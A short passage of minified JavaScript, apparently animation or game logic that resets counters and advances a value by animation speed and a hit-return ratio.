h = 0,
u = 0) : 0 == u ? (h +=
e / (this.animSpeed * a.hitReturnRatio),
this.waitCount = 0,